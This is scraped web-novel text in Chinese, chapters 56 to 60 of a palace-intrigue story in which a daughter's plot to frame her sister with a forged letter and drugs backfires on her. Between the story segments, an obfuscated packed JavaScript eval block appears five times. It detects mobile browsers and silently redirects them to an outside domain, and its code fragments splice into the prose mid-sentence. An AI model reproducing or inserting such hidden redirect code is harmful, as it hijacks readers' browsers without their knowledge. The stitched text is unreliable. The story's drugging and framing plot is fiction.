;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570818|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口气。
若温如霜非要闹起来,她娘家嫂子还在这呢,多少会有些不好看。
大舅子那边他也不好交代。
“行,那此事便交给你来操持。阮姑娘乃是秀才之女,便按贵妾之礼接入府中吧。”
说完他扭头嘱咐身后的小厮。
“立即去请回春堂林大夫来,仔细给二少爷看诊,伤筋动骨的事马虎不得。”
做完这一切,定远侯看向温如霜:“如此,夫人可满意了?”
温如霜咬碎了牙齿往肚里吞,挤出一个笑容:“待嫂嫂他们走了,我便着人接那位阮姑娘进府。”
“嗯。”定远侯满意地点了点头,离开了。
他一走,温如霜便大发雷霆,将手边能够到的东西全砸了。
院子里的丫鬟忍不住齐齐叹气。
他们已经习惯了夫人如今这个样子。
一有什么不合心意的,便砸东西发泄。
晏明月从大舅母那里得知了母亲要给父亲纳妾的事情,脸色大变。
昨日二哥被晏逐星陷害,让她慌了神。
晏逐星和她印象里软弱无能、愚钝蠢笨完全不同,太有心机了。
难不成这些年她一直在养精蓄锐,故意蒙蔽他们。
父亲逼得母亲替她纳妾,会不会也是晏逐星在暗中推波助澜?
晏明月愈发着急。
她不能继续等下去了。
若等到大舅母和温韫表哥都离开,她就彻底没了帮手。
于是她找上了温韫。
“表哥,你能帮我吗?”她攥住他的袍角仰头看向他,下颌止不住发颤,眼泪顺着眼角滑落。
温韫看着她蒙着一层水雾的眼眸,心下一软。
“你想让我怎么帮?”
晏逐星就像缩进龟壳里的王八,始终呆在她的院子里,没有踏出侯府半步。
他们先前诱骗晏逐星出门买凶毁其容貌的办法根本用不上。
第56章 要以牙还牙
“明日践行宴,你将姐姐单独叫到清辉阁待一会儿,行么?”晏明月咬着唇说出了自己的办法。
她要以牙还牙,以眼还眼。
晏逐星害她失了清白,她也要如法炮制,让她也失了清白。
若是母亲和舅母知晓晏逐星蓄意勾引表哥,她就死定了。
毕竟表哥已有未婚妻,待到来年三月三后便成婚。晏逐星若是和他扯上了关系,舅母一定会整死她的。
到时候,父亲和大哥也阻拦不了舅母。
毕竟表哥是温家人,而非晏家人。
“这是姐姐写给表哥的情诗,你将她叫出去,是为了拒绝她。”她掏出了一封模仿好晏逐星字迹的信。
她被找回来时,兄长让她临摹的是晏逐星用过的字帖,因而她模仿起晏逐星的字迹轻而易举。
她说得委婉,但温韫也听明白了。
她想毁了晏逐星的名声,让她顶着不知廉耻勾引自家表兄的名头嫁不出去。
此事对他来说只是举手之劳,但却可以消除小姑和表妹的心头之恨,让他们都好受些。
思及此处,温韫答应了下来。
“我知道了。”
“多谢表哥!”晏明月破涕为笑。
“只是万一她又像我们刚来那日,说身子不适,不出院子怎么办?”温韫皱眉。
“我会想办法让她出现的。”晏明月语气笃定。
不管用什么办法,她都会让晏逐星出现的。
见她这般胸有成竹,温韫便没有多想,横竖他只需要在园子里等着,然后等到母亲和姑父他们过来时,将那封示爱的信砸到晏逐星身上,训斥她不知廉耻就好。
两人就此分开。
晏明月激动地等着明日的践行宴。
殊不知,她刚和温韫分开,两人见面的消息就被传到了玉澜院。
瑶华院虽然牢固不好安插眼线,但姜清屏和温韫那边轻轻松松。
他们进到侯府那天起,他们的一举一动就都被晏逐星的人盯着了。
毕竟,有钱能使鬼推磨。
再加上如今温如霜这个侯门主母势弱,而她却成了后起之秀,引得侯府如今的主人以及未来的主人都对她多加偏袒。
那些有眼力见的下人,自然要来巴结她。
“小姐,你说二小姐和表少爷悄悄见面,是为了什么?”双鲤一边给晏逐星按摩腿,一边询问。
“你觉得呢?”晏逐星反问。
“二小姐蛇蝎心肠,表少爷跟她就是蛇鼠一窝,两人坏到一起去了。他们肯定没憋着什么好屁。”双鲤皱了皱鼻子,一脸嫌弃。
“哟,我们双鲤还知道蛇蝎心肠,蛇鼠一窝呢。”晏逐星笑着刮了刮她的鼻尖。
双鲤有些不好意思地笑了,随后又骄傲地挺起胸膛:“那可不。小姐识字,我也要识字,总不能哪天让人诓骗了,害了小姐。”
自打她被接回来后,就每日跟着小姐一块读书识字。
每日十个大字,如今她已经学会写全院上下所有人的名字啦!
“没错,有志气。你要好好读书,日后会有大出息。”晏逐星笑着点了点头。
“那小姐你知道他们要做什么吗?”双鲤一脸崇拜地看着自家小姐。
小姐走一步算十步,十分聪明,想必一定能猜出表少爷和二小姐见面是为了做什么。
“不知道。但我已经给他们准备好大礼了,不管发生什么,见招拆招。只盼他们最后自食苦果的时候不要后悔。”晏逐星勾起了唇角。
*
后日一大早姜清屏便要带着温韫和晏明月回青州。
因而前一天夜晚,温如霜便准备了一场践行宴。
定远侯府上上下下都要给这个面子,全都出席。
定远侯爷担心晏逐星不来,因此亲自去请。
“星儿啊,你舅母和表哥他们就要走了,于情于理,今夜的践行宴你都得去。”
“爹爹说得极是。女儿都听爹爹的。”晏逐星乖巧应下。
她这温顺的模样让定远侯想起了小时候的她。
这孩子被温如霜教导得十分规矩,对他们言听计从,从不闹腾,他甚是满意。
只可惜不是亲生的,到底隔了一层血脉。
因而明月回来后,他便铆足了心思去弥补明月。
谁知道亲女儿竟是个不中用的。
“好,那爹爹陪你一块入席。”定远侯收回思绪,取代了推轮椅的九栀,亲自推着晏逐星往正院去。
路上,两人遇到了晏明月。
晏明月没想到还没等她出手,定远侯就接到了晏逐星。
“我还说亲自来请姐姐呢,没想到爹爹你已经来了。”她微微勾起唇角,而后又嗔怪地看着定远侯。
“爹爹专程来接姐姐,不接我,是不是不疼我了。”
“怎么会。”定远侯呵呵一笑。
“你姐姐腿脚不便,我自然要对她多照顾几分。”
“好吧。那咱们一块赴宴去吧。”晏明月就这样跟了上来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576623|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今夜的践行宴是家宴都是自己人,因而男女并没有分开。
抵达正厅。
温如霜看到晏逐星,脸色淡淡的,已经看不出喜怒。
但晏明修却没能控制自己的表情,恨恨地盯着晏逐星,像是恨不得扒她的皮抽她的筋。
“二哥,你这么看我做什么?”晏逐星和他对视,没有丝毫慌张。
她一开口,在场的人便全都看向了晏明修。
晏明修脸上瞬间露出了惊慌的神色。
尤其是被父亲盯着的时候,他感觉膝盖隐隐作痛,赶忙收回了眼神:“没有,我只是舍不得舅母和表哥离开。”
“你这孩子,舅母也舍不得你呀。”姜清屏笑着摸了摸他的脑袋。
“都坐吧。”定远侯发话。
这场践行宴,在场的人各有自己的小心思,一顿饭除了定远侯和晏明修,其他人吃得都没什么滋味。
晏明月主动举杯敬了姜清屏母子。
“此去青州山高水长,日后要劳舅母费神了。今日明月以茶代酒,还望舅母莫要介怀。”
“万事都有舅舅和舅母在。莫要担心。待你面容恢复如初,青州的青年才俊,恐怕都要踏碎咱们温家的门槛。”姜清屏笑呵呵地举杯回应。
温如霜和定远侯听到这话,都安心了不少。
因为那日钱氏当场撞柱,威宁侯府死活不肯松口接纳晏明月。停妻再娶不可能,平妻亦是不可能,换威宁侯府嫡子来娶晏明月那是更不可能的。
庶子他们也不愿。
非要嫁到威宁侯府只有一条路,那就是做妾。
这话太过荒谬,定远侯当场和他们撕破了脸皮,两家彻底谈崩了,老死不相往来。
得知温如霜已经托娘家人照看晏明月的婚事,定远侯心口堵着的气总算散开了。
他也乐呵呵地举杯要敬姜清屏。
你来我往,酒过三巡,在场的人至少都喝了两杯酒后。
温韫率先站了起来,提出告辞:“姑父,小姑,我有些不胜酒力,想先回去休息了。”
温如霜赶忙道:“好,那你快回去歇息,小姑这就命人给你送些醒酒汤去。”
“多谢小姑。”温韫点头道谢,给了晏明月一个眼神。
晏明月微微颔首。
温韫走了没多久后,晏明月忽然摸了摸自己的耳垂,惊讶地开口:“咦,我的耳坠子怎么不见了?莫不是先前落在去寻姐姐的路上了。姐姐,要不让你的丫鬟帮我去找找吧。”
第57章 插翅也难飞
“好,九栀,你去吧。”晏逐星点头答应。
晏明月没想到计划会这么顺利。
晏逐星竟然答应得那么痛快。
她心里隐隐有些不安,太顺利了反倒让她心中起疑。
她握着筷子,无意识地捣着碗里剩下的菜。
温如霜不能久坐,因而第一个退席了。
姜清屏则打算等儿子透气回来,再和他一块离席。
约莫过了一刻钟,两个丫鬟都没回来,晏明月也亲眼看到了晏逐星喝下了她命人加了药的茶。
她决定还是赌一把,一切按照原计划进行。
她看向晏逐星:“姐姐,我明日便要离开侯府了,下一次见面还不知道是什么时候呢,还有许多东西没收拾,不如你陪我一起吧。”
晏逐星没有马上答应,反倒看向了定远侯。
定远侯忙道:“去吧,你们姐妹二人好好说说体己话,总归是一家人。”
“嗯。都听爹爹的。”晏逐星点头应下。
晏明月舒了一口气。
她就知道,有父亲发话,晏逐星一定会同意的。
“不如我和二弟也一块去吧。”晏明远忽然开口,打断了她的计划。
“不用了。我和姐姐都是姑娘家,单独说话更方便。大哥,你好好照顾二哥,不要来凑热闹了。”晏明月赶忙拒绝。
她紧张地盯着晏逐星,生怕她会要求两位兄长一块去。
这个计划她只知会了表哥,万一大哥二哥插手,那就全毁了。
晏明远看向晏逐星,见她连正眼都不愿意给自己一个,心里有些难受。
父亲母亲和二哥她都喊了。
怎么就偏偏不喊他这个大哥。
晏明远见她这般坚决,而晏逐星又无视了他,便没有强求。
“行吧。那我让人护送你们回院子。”
“不必啦,有莲儿呢。”晏明月努努嘴,指了指身旁的丫鬟,拒绝了她的提议。
而后飞快推动晏逐星的轮椅,将她带走,生怕晏明远会追上来。
走到一半,晏明月支开了身边的丫鬟:“莲儿,你先回院子里帮我取件披风来,有些冷。”
“是。”莲儿应了一声,赶忙往瑶华院跑去。
晏明月推着晏逐星往另一个方向走去。
晏逐星面无表情道:“二妹妹,这不是去瑶华院的路吧。”
晏明月微笑开口:“姐姐,你不是有话要和表哥说,特意让我将你送过来的么。”
她盯着轮椅上的晏逐星,盘算着时辰。
腿上有伤又中了药,待会儿她便是插翅也难飞。
等莲儿取完披风回来寻不到人,必定要去宴席上闹。
等各处都寻不见踪影,父亲母亲定会发动全府搜寻。
到时候他们撞见中药的晏逐星和表哥躺一块儿,就是浑身长嘴也说不清了。
然而事情完全不像她猜测的那般发展。
晏逐星既未出言质问,也没有流露出半分慌乱。
她勾着唇,嘴边是嘲讽的笑,倒像是早看穿了这场戏码。
“九栀,出来吧。”
晏逐星轻声开口。
她声音落下,晏明月便瞧见了先前被芙儿带走的那个丫鬟,不知道什么时候跟在了他们身后。
“你怎么会在这?”晏明月露出了不可置信的表情。
两人却丝毫没有跟她解释的意思。
“九栀,动手吧。”
这是晏逐星跟她说的第三句话。
晏明月还没来得及惊叫出声,就被九栀用一张帕子捂住了口鼻。
她想要挣扎,却身子一软,动弹不得。
“将她扔到温韫身边去吧。”晏逐星吩咐了下去。
“是。”九栀扛起晏明月就把她扔到床上,反手将屋子里的**香换成了催情香。
先前芙儿领着她说是要给二小姐找耳坠子,结果竟然想对她下黑手。
好在大小姐提前提醒过她,她直接将芙儿打晕捆了起来。
如今二小姐和表少爷都中了药,再加上这催情香,待会场面肯定会很激烈了。
“走吧。”晏逐星让九栀将她推回了玉澜院。
她什么额外的举动也没做,只等着侯府众人撞破这事。
上回在威宁侯府,他们想用这个药毁了她,这一回,就让晏明月也尝尝这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576624|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
药的滋味吧。
*
莲儿回瑶华院拿完披风,原路返回没看到两位小姐,只得折回了践行宴。
晏明远一眼就瞧见了站在门口张望的她。
他猛地站起身询问:“你不是送大小姐和二小姐去回院子了么,怎么回来了,出什么事了吗?”
莲儿吓了一跳,赶忙把事情说了一遍。
“去找两位小姐。”晏明远当即吩咐了下去。
当时两个妹妹离开时,星儿身边没有自己的丫鬟,腿脚还不方便,若是出事了,她跑都没法跑。
下人立刻动了起来。
但晏明远还是不放心,放下筷子起身跟着去找了。
姜清屏也觉得不对劲,儿子透气的时间是不是也太久了一点。
但想着儿子身边跟着自家的小厮,一个大男人,应该不会出什么事吧?
“明远,等等,我和你一起吧。”姜清屏也起身。
她都去找人了,定远侯也没法独坐在原地,只得一块起身找人。
温如霜得知女儿和晏逐星不见了的消息,暗道不好。
“明日就要离开侯府了,这个节骨眼,明月不会出事吧。”她有些懊恼自己为什么那么早离席。
若她在,肯定不会让女儿和晏逐星那个心机叵测的野种单独离开。
但现在说什么都晚了。
“去找二小姐,找到了不管发生什么事,都先带她来见我。”温如霜赶忙吩咐了下去。
“是。”李氏着急忙慌地去找人。
她心里忍不住埋怨晏明月不省心。
夫人都给她找了多少条生路了,怎么一天天的,就是不肯消停呢。
“大小姐回玉澜院了,正沐浴呢。”
很快就有人将晏逐星的下落告知了晏明远。
而晏明月却不在自己的瑶华院,出来透气的温韫也没在附近,回晏明修的院子也没找到他人。
“不会出什么事了吧?”姜清屏顿时腿软。
晏明远和晏明修同时伸手搀扶她:“舅母莫要太担心,已经派人在找了。”
话音刚落,管家便匆匆忙忙领着温韫的贴身小厮平安来了。
第58章 撞破了**
“韫儿呢?”姜清屏当即质问。
“少爷说要去透个气,让我不必跟着,先回院子里清点明日的行囊。可别落下了东西。”平安满脸焦急。
他不过回去清点了一会儿行李,少爷怎么就不见了。
“怎么办?韫儿不会出事了吧。”姜清屏腿一软,差点跌坐到地上。
幸好晏明修和晏明远眼疾手快地搀扶住了她。
“还没找到人么?”晏明远看向管家。
管家露出了为难的神色,似乎有些难以启齿。
见他这副表情,姜清屏直起身急得直跺脚:“你快说啊!!!是不是韫儿出事了?”
“没听到舅母问你话么。”晏明修跟着呵斥。
管家赶忙弯腰行礼回话:“虽未找到人,但暖香坞那边有动静。我等不敢擅作主张,还请侯爷亲自走一趟。”
“什么动静还得本侯亲自去一趟。”定远侯今夜喝得有点多,此刻脑子有些晕乎。
“走吧,带路。”
管家应了一声,赶忙将人领了过去。
几人一到暖香坞,便明白了管家先前为什么会是那个表情。
暖香坞里传来了激烈的撞击声和女子的呻吟声。
明眼人一听就知道里边正在发生什么事。
晏明远和晏明修下意识地就联想到了先前失踪的晏明月和温韫。
姜清屏也和他们想到一块去了,脸色一瞬间变得煞白。
定远侯听到这个动静,顿时勃然大怒:“谁竟敢在侯府光明正大行这等苟且之事?!”
他一时间没反应过来,里边很可能是自己的大外甥和女儿。
“把门撞开,将这对不知羞耻的野鸳鸯给本侯抓出来!”他厉声呵斥下命令。
“不,不行。”姜清屏赶忙阻止,“妹夫,没必要这么大的阵仗吧。”
定远侯见她眼里露出惊慌,猛地反应了过来里边的人是谁。
他反倒下定了决心,上前就踹开门:“这种不守规矩的下人,何必给他们留面子。”
若里边真的是温韫和明月。
正好逼温家人认下这个儿媳妇。
就不用担心明月嫁不出去了。
门被踹开,所有人都看到了温韫正搂着晏明月行不可描述之事,丫鬟们惊呼一声,都捂住了眼睛背过身去。
两人神情迷醉,冷风灌入后猛地清醒了过来,赶忙停止了动作。
“你们这是在做什么?!”定远侯厉声呵斥。
姜清屏看清这一幕,当即软了身子晕了过去。
晏明月大脑一片空白。
怎么会是她和表哥?
温韫惊得想要起身去看自己的娘亲,但又意识到自己如今还未着衣裳,赶忙道:“快给娘亲请大夫!”
“温韫,你对我妹妹做了什么?!”晏明修怒不可遏,扑上去就要揍他。
晏明月混沌的脑子在这一刻终于清醒了过来。
她慌乱地用被子裹住自己,一把推开温韫,自己对上晏明修。
“二哥,是大姐姐的丫鬟将我迷晕送进屋子里的!”她着急地替自己辩解。
一句话让在场的人全都愣住了。
“我就知道那野丫头不怀好意,我这就找她算账去!”晏明修气得浑身发抖。
晏明远下意识地拦住了他,质问晏明月:“星儿的丫鬟不是被你叫走去找耳坠子了么,后来只有你和你的丫鬟带着她离开的。她的丫鬟怎么迷晕你的?”
晏明月也不知道该如何解释这一切。
明明现在该被质问训斥的人是晏逐星才对呀。
她委屈地落下了眼泪,推了温韫一把:“表哥,你说句话呀。”
温韫也没想到事情会演变成这样。
他回忆着先前发生的事情。
他按照和晏明月约定好的,带着信来到了暖香坞。
他闻着屋内的香气,不知不觉就晕了过去。
事到如今,他还不知道发生了什么事情。
只得僵硬地按照之前的说法解释:“我出来透气,遇到了逐星表妹。她以书信纠缠我,我正训斥她女儿家不知羞,突然就眼前一黑了……”
“那香,那香肯定有问题!”他信誓旦旦地指着屋内燃尽的熏香。
“书信?是这个东西么?”晏明修眼尖地看到了地上散落地几页纸。
“对。”温韫忙点头。
晏明修捡起来扫了一眼,顿时激动地嚷嚷了起来:“这就是晏逐星的字迹,我认得!!!”
再一看上边写的那些露骨内容,气得大骂:“真是个不知廉耻的东西,竟然还敢肖想表哥。”
晏明远一把抢过,看得怒火也升了上来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583156|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这还真是星儿的字迹。
定远侯没想到此事竟然还牵扯到了晏逐星。
若是让晏明月嫁到温家当正妻,他觉得是个不错的出路。
而如今晏逐星得了皇后和烈国公夫人的宠爱,让她嫁去温家,那就有些可惜了。
见他迟疑着不说话,晏明远小声提醒:“父亲,先让他们把衣裳穿好吧。”
“哼。去把夫人和大小姐都请来。”定远侯冷哼一声,带着几人往正厅走去。
没过多久,温如霜和晏逐星一前一后地抵达了。
“你这个混账,你害了明月一次还不够,还要再害她第二次吗?”温如霜恨不得将她活剥生吞了。
明明她已经给女儿找了一条绝处逢生的路,晏逐星竟然又毁了。
姜清屏也已经悠然转醒,听到这话,她立刻起身走向晏逐星,抬手就要扇她耳光。
结果被衔蝉拦住了。
“你个贱婢,滚开。我教训人,轮得到你插手么。”姜清屏恨恨开口。
“衔蝉是永安王府的人。管教她,轮不着舅母出手哦。”晏逐星笑眯眯地看着她。
姜清屏被她的笑勾起了怒火,想要推开衔蝉继续冲她去,就被定远侯给呵斥住了。
“大嫂,事情还未有定论,您现在动手是不是也太早了?”
姜清屏退后两步,坐回了原位。
“妹夫,今夜之事你必须要给我一个交代。我们韫儿早已定亲,明年三月就要成婚了。这可如何是好啊。”她气得涨红了脸。
若纳晏明月为妾,和侯府的关系就要闹僵了。
可若退了林家的婚事,林家那边也不好交代啊。
她一时间头痛欲裂,后悔来这一趟了。
定远侯听着这话心里很不舒服。
什么叫他要给她一个交代。
现在是他女儿被她儿子占了便宜好不好!
“爹爹,究竟发生什么事了?为什么母亲和舅母都一副要杀了我的模样?”晏逐星的尾音哽在喉间,像是被满屋子**的目光吓住了。
定远侯便将先前发生的事情简略地说了一遍。
晏逐星猛地后仰撞得轮椅“咯吱”后滑半尺,她当即举手发誓,喉间带上了哭腔:“我对天发誓,此事与我绝无半点关系。还请父亲明鉴!”
第59章 不该瞒着的
“你还装!当时就是你身边的这个丫鬟用帕子把我迷晕的。”晏明月气疯了。
晏逐星如今扮柔弱装可怜的伎俩都是她用过的,她一眼就看穿了,她都是装的。
“二妹妹,说话要讲证据的。我知道你不喜欢我,但也没必要三番五次污蔑我。”晏逐星红着眼眶看向她。
“你要证据是吧,这就是证据。”晏明修把那些写满了情话的信砸到了晏逐星脸上。
晏逐星随手抓一起一张,扫了一眼,摇头道:“这不是我的字迹。”
“胡说!你之前**的字,是大哥和我教的,我们都认出来了,这就是你的字迹。你还敢狡辩?”晏明修气得脸红脖子粗的,像是她再不承认就要冲上来将她打一顿了。
“星儿,你若心仪表哥,可以让父亲母亲去说,何必做出这样败坏门风的事情。”晏明远叹了一口气,眼里满是失望。
晏逐星嗤笑一声:“大哥,我还真以为你变了。这不和之前也没什么区别嘛。”
晏明远抬头看向她,见她唇边挂着讽刺又疏离的笑,一时间愣住了。
“我和晏明月有了矛盾,你们还是不听我辩解就默认一切坏事都是**的。”晏逐星冷笑着举起了手里那封信。
“这信上的字迹,都已经是我五年前的字迹了。这几年我从未有功夫练字,如今的字迹早就不是这样的了,这分明是旁人伪造的。”
晏明远听到这话,心尖上像是被人用针狠狠扎了一下。
“衔蝉,你去将我这几日练习的字取来,让父亲他们好好比对。”晏逐星冷冷地下命令。
晏明月没想到晏逐星如今字迹竟然变了。
她害怕之后还会有变故,只能尽快将黑锅扣在晏逐星身上:“那万一是你最近故意改了字迹呢?表哥都亲口说了,当时这信就是你给他的。”
“我根本就没见过温韫,何谈给他送信?”晏逐星依旧十分淡定。
“而且,有皇后娘娘和烈国公夫人在,我何愁嫁不出去,为什么要去攀扯一个温韫?”
姜清屏母子听到这话顿时就不乐意了。
怎么听晏逐星这话,好似还瞧不上他们温家?
没等晏明月反驳,晏逐星又脱口而出:“反倒是你,失了清白后威宁侯又不愿意娶你当平妻,只许你嫁过去当妾,你这才狗急跳墙算计的温韫吧。”
“什么?”姜清屏母子同时惊呼出声。
温如霜没想到她瞒了这么长一段时间的事情竟然被晏逐星给说了出来。
“混账,你给我住嘴!!!”温如霜恨不得从轮椅上扑过去,撕烂晏逐星的嘴。
“不,不是的。”看到舅母和表哥怀疑的眼神,晏明月急忙摇头。
“我绝对没有算计表哥。”
“小妹,失了清白到底是怎么一回事?”姜清屏浑身战栗如坠冰窟,怒火却在胸腔沸腾。
她一心一意帮她巩固地位,结果她竟然让女儿算计她儿子。
“嫂子,事情不是你想的那样。”温如霜慌张地解释了起来。
“明月只是在玄空寺落水,得了威宁侯相救。威宁侯比我尚且年长几岁,他只是单纯的救人,什么也没发生呀。”
“可全京城的人都知道这事了呀。母亲,您为何要瞒着舅母呢?”晏逐星继续补刀。
“你闭嘴!”温如霜的嘶吼都带着怒火。
“小妹,我拿你当一家人,你却将这么重要的事情瞒着我?”姜清屏的心彻底冷了。
“不是的,嫂子。”温如霜追悔莫及。
她不该瞒着嫂子这件事的。
她那不是怕嫂子回青州说漏嘴,让明月在青州难堪么。
一旁的温韫露出了恍然大悟的神情。
他伸出手指向晏明月:“所以,从头到尾你算计的都不是晏逐星,而是我?”
晏明月把头摇得像拨浪鼓。
“不,不是的。表哥你听我解释。我知道你明年就要娶妻,我怎么可能做这样的事情!”
晏逐星饶有兴致地看着他们争执。
今夜的戏可真精彩啊。
晏明月即便能用此事要挟温韫嫁进温家,此后也不会受温家人待见。
他们一定会恨死她。
她在温家的日子也不会好过。
温如霜若是选择护住女儿,就势必要跟娘家人闹翻。
若是选了娘家人,就定会和晏明月这个女儿离
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583157|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心。
这一局,温如霜母女,无解。
“**。”姜清屏不敢动手打温如霜,抬手就给了边上的晏明月一巴掌。
“你个丑八怪竟然敢算计我儿。”
她的指甲很长,扇晏明月耳光时,勾到了她的伤疤,直接勾出了一道血痕。
晏明月感觉脸上有些湿漉漉的,颤抖着伸手一摸,发现是血。
“我的脸啊!”她尖叫一声就要扑上去和姜清屏拼命。
温韫上前阻拦,推开了她。
晏明远和晏明修自然要上去护住妹妹。
双方打得不可开交。
定远侯被这一场闹剧气得眼睛都瞪圆了。
“都给我停下来!!!”
他大吼一声,在场的哭泣的,慌张解释的,打个不停的全都安静了下来。
这时,衔蝉拿着晏逐星平日临摹的字帖走了进来。
定远侯两相对照,一下就发现了不同。
他阴沉着脸没说话。
林管家这时也领着蔓儿走了进来。
看到蔓儿,晏明月脸色一变。
“说吧,二小姐昨日让你出府买的是什么。”林管家直勾勾地盯着蔓儿。
“是让人情迷意乱之药。”蔓儿说完便垂下了头。
她因为上回玄空寺的事情被罚,受了伤,需要出府去买药换药。
因而二小姐便将此事交给了她办。
“你胡说,我没有让你买过这种药。”晏明月慌张地辩解了起来。
“你是因为上回被罚,对我怀恨在心。”
但如今她说什么都已经晚了。
众人都已经对晏逐星的说法坚信不疑,都认定她是嫁不出去所以才对温韫下药。
“爹娘、大哥、二哥、舅母、表哥,你们要相信我啊!!!”她哭着看向众人。
她没想到,她所做的一切诬陷晏逐星的事情,如今都成了她算计温韫的罪证。
“够了!你还嫌不够丢人吗。”定远侯厉声呵斥,给了管家一个眼神,让她捂住晏明月的嘴不许她再开口。
晏明月拼命挣扎了起来。
她明明看见晏逐星喝下了加料的酒,为什么她却毫发无损,依旧好端端地坐在轮椅上。
第60章 占了她身子
她有太多话想问,但是却没有机会,直接被拖了下去。
晏明修又惊又气,同时还放心不下亲妹妹。
他着急地看向父亲:“爹,二妹妹最是纯善,不可能做这些事,一定是被人污蔑的。”
说完他伸手指向晏逐星。
晏逐星立刻接话:“我懂我懂,二哥要说这事肯定是**的了。反正不会是你那个纯善的妹妹干的。”
晏明修要说的话被她抢先一步说完了,整个人噎在了原地,一时间张着嘴不知道该怎么反驳。
“蠢货,滚下去。”定远侯冷冷地瞥了他一眼。
晏明修不服气,定远侯又道:“是又想去祠堂罚跪么?”
想到前两日的惨状,晏明修闭嘴了。
晏明远上前:“父亲……”
还没说完,就被暴躁的定远侯打断了:“你也滚。”
晏明远知道父亲现在很不高兴,于是识相地闭上了嘴。
看到大哥也被训斥,晏明修心里平衡多了。
“爹爹,那我也先回屋了。”晏逐星主动提出告退。
“嗯。去吧。”定远侯点了点头。
将孩子们都赶走后,屋子里只剩下了定远侯夫妇和姜清屏母子四人。
“此事侯府必须给我们一个交代。”姜清屏冷漠地开口。
温如霜心乱如麻,不知道该如何是好。
一方面担心女儿受了那么大的打击会想不开,另一方面又担心娘家人从此与她断绝往来。
她有些尴尬地开口:“嫂子,此事或许有什么误会……”
“还能有什么误会,人证物证确凿!”姜清屏冷漠开口。
“嫂子这话说的,怎么就人证物证确凿了。”酒醒后,定远侯清醒了不少。
“韫儿自称手里的信是星儿给的,可星儿压根没见过他吧。”
“还有,今夜没喝几口酒,韫儿就离席迟迟未归,这中间究竟发生了什么,谁也不清楚吧。”
他将先前的疑点抽丝剥茧说了出来。
“你这话什么意思?你的意思是说今夜之事是我韫儿谋划的咯?”姜清屏好不容易压下去的火,一下就窜了上来。
“嫂子,我没有别的意思。事情已经发生,韫儿也占了明月的身子,理该对她负责。”定远侯抓住重点。
“不行,我已经答应了淑儿回去成婚的。”温韫当即拒绝。
“一切都是明月表妹拜托我帮忙,才会造成现在这个局面的。”
他赶忙将晏明月的计划和盘托出,最后还不忘将自己从整件事情里摘出去。
“她只让我拿着这些信训斥逐星表妹不知羞耻,下药之事全然没告诉我呀。如果告诉我,我肯定不会答应她的。”
温如霜听得眼前一黑又一黑。
这个女儿怎么能那么蠢!!!
明知道晏逐星不好惹,怎么还用这样拙劣的计划去陷害她。
定远侯听完对晏明月彻底失望了。
曾经还有美貌,如今美貌与脑子都没有,留着也没什么大作用了。
“我不管你们是怎么约定的,但事实就是你已经占了明月的身子。”定远侯冷淡地开口。
“她日后还怎么嫁人。”
姜清屏气急败坏道:“妹夫,你别以为我们没去打听就不知道情况,先前晏逐星可是说了,晏明月现在根本嫁不出去!你们休想赖上我家韫儿。”
“怎么能叫赖上呢?”定远侯打定主意要将女儿塞到温家去,语气十分坚决。
“你们若是不愿意,那我便等到韫儿大婚那日,将明月送去,让她请温家老祖宗们做主了。”
“你!”姜清屏气得胸口连连起伏,要不是儿子一直帮她拍背顺气,她恐怕都要气晕了。
温如霜听着两人争执,心乱如麻,当场就晕了过去。
